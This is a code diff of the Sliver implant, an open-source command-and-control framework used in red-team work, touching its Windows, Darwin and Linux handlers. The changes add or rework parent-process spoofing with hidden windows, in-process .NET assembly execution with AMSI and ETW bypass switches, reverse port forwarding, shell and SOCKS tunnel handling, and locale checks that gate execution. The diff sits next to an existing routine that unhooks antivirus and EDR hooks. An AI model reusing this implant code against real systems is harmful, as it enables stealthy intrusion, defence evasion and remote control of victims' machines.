-	startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
-	if err = syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 1, 0, &procThreadAttributeSize); err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("InitializeProcThreadAttributeList - second call failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-
-	defer syscalls.DeleteProcThreadAttributeList(startupInfo.AttributeList)
-	uintParentHandle := uintptr(parentHandle)
-	if err = syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil); err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("UpdateProcThreadAttribute failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-
-	// get program path as a UTF string
-	programPath, err := exec.LookPath(prog)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("LookPath failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	utfProgramPath, err := windows.UTF16PtrFromString(programPath)
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("UTF16PtrFromString failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-
-	// start a process of the specified program name, spoofing the parent
-	var procInfo windows.ProcessInformation
-	startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
-	startupInfo.Flags |= windows.STARTF_USESHOWWINDOW
-	startupInfo.ShowWindow = windows.SW_HIDE
-	// creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
-	creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
-	if err = syscalls.CreateProcess(utfProgramPath, nil, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo); err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("CreateProcess failed: %v\n", err)
-		//{{end}}
-		return nil, err
-	}
-	return &procInfo, nil
-}
-
 // RefreshPE reloads a DLL from disk into the current process
 // in an attempt to erase AV or EDR hooks placed at runtime.
 func RefreshPE(name string) error {

implant/sliver/extension/extension_darwin.go

@@ -21,6 +21,7 @@ package extension
 import (
 	"bytes"
 	"runtime"
+	"sync"
 	"unsafe"
 
 	// {{if .Config.Debug}}
@@ -36,6 +37,7 @@ type DarwinExtension struct {
 	arch        string
 	serverStore bool
 	init        string
+	sync.Mutex
 }
 
 type extensionArguments struct {
@@ -64,6 +66,8 @@ func (d *DarwinExtension) GetArch() string {
 
 func (d *DarwinExtension) Load() error {
 	var err error
+	d.Lock()
+	defer d.Unlock()
 	loader, err := universal.NewLoader()
 	if err != nil {
 		return err
@@ -98,6 +102,8 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
 	// {{if .Config.Debug}}
 	log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
 	// {{end}}
+	d.Lock()
+	defer d.Unlock()
 	_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
 	if err != nil {
 		return err

implant/sliver/extension/extension_windows.go

@@ -21,6 +21,7 @@ package extension
 import (
 	"bytes"
 	"errors"
+	"sync"
 	"syscall"
 	"unsafe"
 
@@ -43,6 +44,7 @@ type WindowsExtension struct {
 	arch     string
 	init     string
 	onFinish func([]byte)
+	sync.Mutex
 }
 
 // NewWindowsExtension - Load a new windows extension
@@ -71,6 +73,8 @@ func (w *WindowsExtension) Load() error {
 	if len(w.data) == 0 {
 		return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
 	}
+	w.Lock()
+	defer w.Unlock()
 	w.module, err = memmod.LoadLibrary(w.data)
 	if err != nil {
 		return err
@@ -114,6 +118,8 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
 	// The extension API must respect the following prototype:
 	// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
 	// where goCallback = int(char *, int)
+	w.Lock()
+	defer w.Unlock()
 	_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
 	if errNo != 0 {
 		return errors.New(errNo.Error())

implant/sliver/forwarder/forwarder.go

@@ -1,5 +1,23 @@
 package forwarder
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 // {{if .Config.WGc2Enabled}}
 var (
 	tcpForwarders map[int]*WGTCPForwarder

implant/sliver/forwarder/portforward.go

@@ -1,5 +1,23 @@
 package forwarder
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 // {{if .Config.WGc2Enabled}}
 import (
 	"fmt"

implant/sliver/forwarder/socks.go

@@ -1,5 +1,23 @@
 package forwarder
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 // {{if .Config.WGc2Enabled}}
 import (
 	"fmt"

implant/sliver/handlers/handlers.go

@@ -58,6 +58,9 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
 // PivotHandler - Handler related to pivoting
 type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
 
+// RportFwdHandler - Handler related to reverse port forwarding
+type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
+
 // -----------------------------------------------------
 // -----------------------------------------------------
 // -----------------------------------------------------
@@ -372,6 +375,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
 		to download a single file
 	*/
 	fileInfo, err := os.Stat(path + filter)
+	if err != nil {
+		return nil, false, 0, 1, err
+	}
 	if err == nil && !fileInfo.IsDir() {
 		// Then this is a single file
 		rawData, err := os.ReadFile(path + filter)
@@ -593,6 +599,9 @@ func executeHandler(data []byte, resp RPCResponse) {
 				Err: fmt.Sprintf("%s", err),
 			}
 		}
+		if cmd.Process != nil {
+			execResp.Pid = uint32(cmd.Process.Pid)
+		}
 	}
 	data, err = proto.Marshal(execResp)
 	resp(data, err)

implant/sliver/handlers/handlers_windows.go

@@ -36,6 +36,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"github.com/bishopfox/sliver/implant/sliver/registry"
 	"github.com/bishopfox/sliver/implant/sliver/service"
+	"github.com/bishopfox/sliver/implant/sliver/spoof"
 	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -48,24 +49,25 @@ var (
 	windowsHandlers = map[uint32]RPCHandler{
 
 		// Windows Only
-		sliverpb.MsgTaskReq:                  taskHandler,
-		sliverpb.MsgProcessDumpReq:           dumpHandler,
-		sliverpb.MsgImpersonateReq:           impersonateHandler,
-		sliverpb.MsgRevToSelfReq:             revToSelfHandler,
-		sliverpb.MsgRunAsReq:                 runAsHandler,
-		sliverpb.MsgInvokeGetSystemReq:       getsystemHandler,
-		sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
-		sliverpb.MsgInvokeMigrateReq:         migrateHandler,
-		sliverpb.MsgSpawnDllReq:              spawnDllHandler,
-		sliverpb.MsgStartServiceReq:          startService,
-		sliverpb.MsgStopServiceReq:           stopService,
-		sliverpb.MsgRemoveServiceReq:         removeService,
-		sliverpb.MsgEnvReq:                   getEnvHandler,
-		sliverpb.MsgSetEnvReq:                setEnvHandler,
-		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
-		sliverpb.MsgExecuteTokenReq:          executeTokenHandler,
-		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
-		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
+		sliverpb.MsgTaskReq:                        taskHandler,
+		sliverpb.MsgProcessDumpReq:                 dumpHandler,
+		sliverpb.MsgImpersonateReq:                 impersonateHandler,
+		sliverpb.MsgRevToSelfReq:                   revToSelfHandler,
+		sliverpb.MsgRunAsReq:                       runAsHandler,
+		sliverpb.MsgInvokeGetSystemReq:             getsystemHandler,
+		sliverpb.MsgInvokeExecuteAssemblyReq:       executeAssemblyHandler,
+		sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
+		sliverpb.MsgInvokeMigrateReq:               migrateHandler,
+		sliverpb.MsgSpawnDllReq:                    spawnDllHandler,
+		sliverpb.MsgStartServiceReq:                startService,
+		sliverpb.MsgStopServiceReq:                 stopService,
+		sliverpb.MsgRemoveServiceReq:               removeService,
+		sliverpb.MsgEnvReq:                         getEnvHandler,
+		sliverpb.MsgSetEnvReq:                      setEnvHandler,
+		sliverpb.MsgUnsetEnvReq:                    unsetEnvHandler,
+		sliverpb.MsgExecuteWindowsReq:              executeWindowsHandler,
+		sliverpb.MsgGetPrivsReq:                    getPrivsHandler,
+		sliverpb.MsgCurrentTokenOwnerReq:           currentTokenOwnerHandler,
 
 		// Platform specific
 		sliverpb.MsgIfconfigReq:            ifconfigHandler,
@@ -225,7 +227,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
 		// {{end}}
 		return
 	}
-	output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process)
+	output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process, execReq.ProcessArgs, execReq.PPid)
 	execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
 	if err != nil {
 		execAsm.Response = &commonpb.Response{
@@ -237,7 +239,27 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
 
 }
 
-func executeTokenHandler(data []byte, resp RPCResponse) {
+func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
+	execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
+	err := proto.Unmarshal(data, execReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+	output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
+	execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
+	if err != nil {
+		execAsm.Response = &commonpb.Response{
+			Err: err.Error(),
+		}
+	}
+	data, err = proto.Marshal(execAsm)
+	resp(data, err)
+}
+
+func executeWindowsHandler(data []byte, resp RPCResponse) {
 	var (
 		err       error
 		stdErr    io.Writer
@@ -245,7 +267,7 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
 		errWriter *bufio.Writer
 		outWriter *bufio.Writer
 	)
-	execReq := &sliverpb.ExecuteReq{}
+	execReq := &sliverpb.ExecuteWindowsReq{}
 	err = proto.Unmarshal(data, execReq)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -258,8 +280,17 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
 	cmd := exec.Command(execReq.Path, execReq.Args...)
 
 	// Execute with current token
-	cmd.SysProcAttr = &windows.SysProcAttr{
-		Token: syscall.Token(priv.CurrentToken),
+	cmd.SysProcAttr = &syscall.SysProcAttr{}
+	if execReq.UseToken {
+		cmd.SysProcAttr.Token = syscall.Token(priv.CurrentToken)
+	}
+	if execReq.PPid != 0 {
+		err := spoof.SpoofParent(execReq.PPid, cmd)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("could not spoof parent PID: %v\n", err)
+			// {{end}}
+		}
 	}
 
 	if execReq.Output {
@@ -374,7 +405,7 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
 	//{{if .Config.Debug}}
 	log.Printf("ProcName: %s\tOffset:%x\tArgs:%s\n", spawnReq.GetProcessName(), spawnReq.GetOffset(), spawnReq.GetArgs())
 	//{{end}}
-	result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
+	result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetProcessArgs(), spawnReq.GetPPid(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
 	spawnResp := &sliverpb.SpawnDll{Result: result}
 	if err != nil {
 		spawnResp.Response = &commonpb.Response{

implant/sliver/handlers/rpc-handlers.go

@@ -121,7 +121,7 @@ func sideloadHandler(data []byte, resp RPCResponse) {
 	if err != nil {
 		return
 	}
-	result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
+	result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetProcessArgs(), sideloadReq.GetPPid(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
 	errStr := ""
 	if err != nil {
 		errStr = err.Error()

implant/sliver/handlers/rpc-handlers_darwin.go

@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
 			Ppid:       int32(proc.PPid()),
 			Executable: proc.Executable(),
 			Owner:      proc.Owner(),
+			Architecture: proc.Architecture(),
 		}
 		p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
 		psList.Processes = append(psList.Processes, p)

implant/sliver/handlers/rpc-handlers_linux.go

@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
 			Ppid:       int32(proc.PPid()),
 			Executable: proc.Executable(),
 			Owner:      proc.Owner(),
+			Architecture: proc.Architecture(),
 		}
 		p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
 		psList.Processes = append(psList.Processes, p)

implant/sliver/handlers/rpc-handlers_windows.go

@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
 			Ppid:       int32(proc.PPid()),
 			Executable: proc.Executable(),
 			Owner:      proc.Owner(),
+			Architecture: proc.Architecture(),
 		}
 		p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
 		p.SessionID = int32(proc.(*ps.WindowsProcess).SessionID())

implant/sliver/handlers/rportfwd-handlers.go

@@ -0,0 +1,159 @@
+package handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	// {{if .Config.Debug}}
+
+	"log"
+
+	// {{end}}
+	"time"
+
+	rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
+	"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+var (
+	genericRportFwdHandlers = map[uint32]RportFwdHandler{
+		pb.MsgRportFwdListenersReq:     rportFwdListenersHandler,
+		pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
+		pb.MsgRportFwdStopListenerReq:  rportFwdStopListenerHandler,
+	}
+)
+
+// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
+func GetRportFwdHandlers() map[uint32]RportFwdHandler {
+	return genericRportFwdHandlers
+}
+
+func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
+
+	forwards := rportfwd.Portfwds.List()
+	var portfwdListeners []*pb.RportFwdListener
+
+	for _, portfwd := range forwards {
+
+		portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
+			ID:             uint32(portfwd.ID),
+			BindAddress:    portfwd.BindAddr,
+			ForwardAddress: portfwd.RemoteAddr,
+		})
+	}
+	data, _ := proto.Marshal(&pb.RportFwdListeners{
+		Listeners: portfwdListeners,
+		Response:  &commonpb.Response{},
+	})
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+
+}
+func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
+	req := &pb.RportFwdStartListenerReq{}
+	resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
+	err := proto.Unmarshal(envelope.Data, req)
+	if err != nil {
+		resp.Response.Err = err.Error()
+		data, _ := proto.Marshal(resp)
+		connection.Send <- &pb.Envelope{
+			ID:   envelope.ID,
+			Data: data,
+		}
+		return
+	}
+	rportfwds := rportfwd.Portfwds.List()
+
+	for _, r := range rportfwds {
+		if r.BindAddr == req.BindAddress {
+			resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
+			data, _ := proto.Marshal(resp)
+			connection.Send <- &pb.Envelope{
+				ID:   envelope.ID,
+				Data: data,
+			}
+			return
+		}
+	}
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &rportfwd.ChannelProxy{
+		Conn:            connection,
+		RemoteAddr:      req.ForwardAddress,
+		BindAddr:        req.BindAddress,
+		KeepAlivePeriod: 1000 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(req.BindAddress, channelProxy)
+	rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
+
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Proxy error %s", err)
+			// {{end}}
+		}
+	}()
+	resp.BindAddress = req.BindAddress
+	resp.ForwardAddress = req.ForwardAddress
+	resp.BindPort = req.ForwardPort
+	resp.ForwardPort = req.ForwardPort
+	resp.ID = uint32(rportfwd.ID)
+
+	data, _ := proto.Marshal(resp)
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+}
+
+func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
+	req := &pb.RportFwdStopListenerReq{}
+	resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
+	err := proto.Unmarshal(envelope.Data, req)
+	if err != nil {
+		resp.Response.Err = err.Error()
+		data, _ := proto.Marshal(resp)
+		connection.Send <- &pb.Envelope{
+			ID:   envelope.ID,
+			Data: data,
+		}
+		return
+	}
+
+	rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
+	if rportfwd != nil {
+		resp.ID = uint32(rportfwd.ID)
+		resp.BindAddress = rportfwd.ChannelProxy.BindAddr
+		resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
+	} else {
+		resp.Response.Err = "Invalid ID\n"
+	}
+
+	data, _ := proto.Marshal(resp)
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+}

implant/sliver/handlers/tunnel_handlers/close_handler.go

@@ -1,5 +1,23 @@
 package tunnel_handlers
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 
 	// {{if .Config.Debug}}

implant/sliver/handlers/tunnel_handlers/data_cache.go

@@ -1,5 +1,23 @@
 package tunnel_handlers
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"sync"
 

implant/sliver/handlers/tunnel_handlers/data_handler.go

@@ -1,5 +1,23 @@
 package tunnel_handlers
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 
 	// {{if .Config.Debug}}

implant/sliver/handlers/tunnel_handlers/portfwd_handler.go

@@ -1,17 +1,36 @@
 package tunnel_handlers
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
 	"context"
 	"fmt"
 	"io"
 	"net"
+	"sync"
 	"time"
 
+	// {{if .Config.Debug}}
+	"log"
+
+	// {{end}}
+
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -90,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
 		Data: portfwdResp,
 	}
 
+	once := sync.Once{}
 	cleanup := func(reason error) {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
-		// {{end}}
-		tunnel := connection.Tunnel(tunnel.ID)
+		once.Do(func() {
+			// {{if .Config.Debug}}
+			log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
+			// {{end}}
+			cleanupTunnel := connection.Tunnel(tunnel.ID)
+			if cleanupTunnel == nil {
+				return
+			}
 
-		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
-			Closed:   true,
-			TunnelID: tunnel.ID,
+			tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
+				Closed:   true,
+				TunnelID: cleanupTunnel.ID,
+			})
+			connection.Send <- &sliverpb.Envelope{
+				Type: sliverpb.MsgTunnelClose,
+				Data: tunnelClose,
+			}
+			connection.RemoveTunnel(cleanupTunnel.ID)
+			if dst != nil {
+				dst.Close()
+			}
+			cancelContext()
 		})
-		connection.Send <- &sliverpb.Envelope{
-			Type: sliverpb.MsgTunnelClose,
-			Data: tunnelClose,
-		}
-		connection.RemoveTunnel(tunnel.ID)
-		dst.Close()
-		cancelContext()
 	}
 
 	go func() {

implant/sliver/handlers/tunnel_handlers/shell_handler.go

@@ -1,5 +1,23 @@
 package tunnel_handlers
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 
 	// {{if .Config.Debug}}
@@ -47,7 +65,7 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 		return
 	}
 
-	// At this point, comand is already started by StartInteractive
+	// At this point, command is already started by StartInteractive
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] Failed to spawn! err: %v", err)
@@ -102,11 +120,17 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 	}
 
 	for _, rc := range tunnel.Readers {
+		if rc == nil {
+			continue
+		}
 		go func(outErr io.ReadCloser) {
 			tWriter := tunnelWriter{
 				conn: connection,
 				tun:  tunnel,
 			}
+			// {{if .Config.Debug}}
+			log.Printf("[shell] tWriter: %v outErr: %v", tWriter, outErr)
+			// {{end}}
 			_, err := io.Copy(tWriter, outErr)
 
 			if err != nil {

implant/sliver/handlers/tunnel_handlers/socks_handler.go

@@ -1,5 +1,23 @@
 package tunnel_handlers
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 
 	// {{if .Config.Debug}}

implant/sliver/handlers/tunnel_handlers/tunnel_writer.go

@@ -1,5 +1,23 @@
 package tunnel_handlers
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 
 	// {{if .Config.Debug}}

implant/sliver/handlers/tunnel_handlers/utils.go

@@ -1,5 +1,23 @@
 package tunnel_handlers
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"

implant/sliver/hostuuid/uuid_windows.go

@@ -1,6 +1,3 @@
-//go:build windows
-// +build windows
-
 package hostuuid
 
 /*

implant/sliver/limits/limits.go

@@ -30,7 +30,10 @@ import (
 
 	// {{if .Config.LimitUsername}}
 	"os/user"
+	// {{end}}
 
+	// {{if .Config.LimitLocale}}
+	"regexp"
 	// {{end}}
 
 	// {{if .Config.LimitDatetime}}
@@ -40,6 +43,10 @@ import (
 	// {{if or .Config.LimitHostname .Config.LimitUsername}}
 	"strings"
 	// {{else}}{{end}}
+
+	// {{if .Config.LimitLocale}}
+	"github.com/bishopfox/sliver/implant/sliver/locale"
+	// {{end}}
 )
 
 // ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -104,6 +111,21 @@ func ExecLimits() {
 	}
 	// {{end}}
 
+	// {{if .Config.LimitLocale}}
+	locale := locale.GetLocale()
+	match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
+	if !match {
+		// {{if .Config.Debug}}
+		if err != nil {
+			log.Printf("LimitLocale regexp: %s", err)
+		} else {
+			log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
+		}
+		// {{end}}
+		os.Exit(1)
+	} 
+	// {{end}}
+
 	// {{if .Config.Debug}}
 	log.Printf("Limit checks completed")
 	// {{end}}

implant/sliver/limits/limits_windows.go

@@ -1,3 +1,5 @@
+//go:build 386 || amd64 || arm
+
 package limits
 
 /*

implant/sliver/locale/jibberjabber/LICENSE

@@ -0,0 +1,201 @@
+                              Apache License
